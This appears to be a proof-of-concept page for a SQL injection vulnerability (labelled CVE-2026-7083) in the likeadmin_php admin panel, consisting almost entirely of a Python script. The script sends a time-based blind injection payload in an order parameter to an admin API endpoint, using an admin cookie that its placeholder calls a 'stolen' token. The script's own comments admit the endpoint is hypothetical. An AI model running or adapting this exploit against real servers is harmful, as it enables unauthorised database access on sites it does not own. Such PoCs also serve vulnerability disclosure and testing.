CVE-2026-7083 likeadmin_php SQL注入漏洞

import requests # Target: likeadmin_php <= 1.9.6 # Description: PoC for SQL Injection in DataTableLists queryResult function # Note: Requires Admin Credentials (PR:H) def check_sqli(target_url, admin_cookie): headers = { "Cookie": f"admin_token={admin_cookie}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Hypothetical endpoint based on file path structure url = f"{target_url}/adminapi/tools.data_table/lists" # Payload testing for time-based blind injection # Injecting into a parameter likely handled by queryResult payload = { "page": 1, "limit": 10, "order_by": "id", "order": "IF(1=1,SLEEP(5),id)" # Malicious SQL payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=payload, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: Server response delayed (SQL Injection successful).") else: print("[-] Vulnerability not detected or payload invalid.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" token = "your_stolen_admin_token_here" check_sqli(target, token)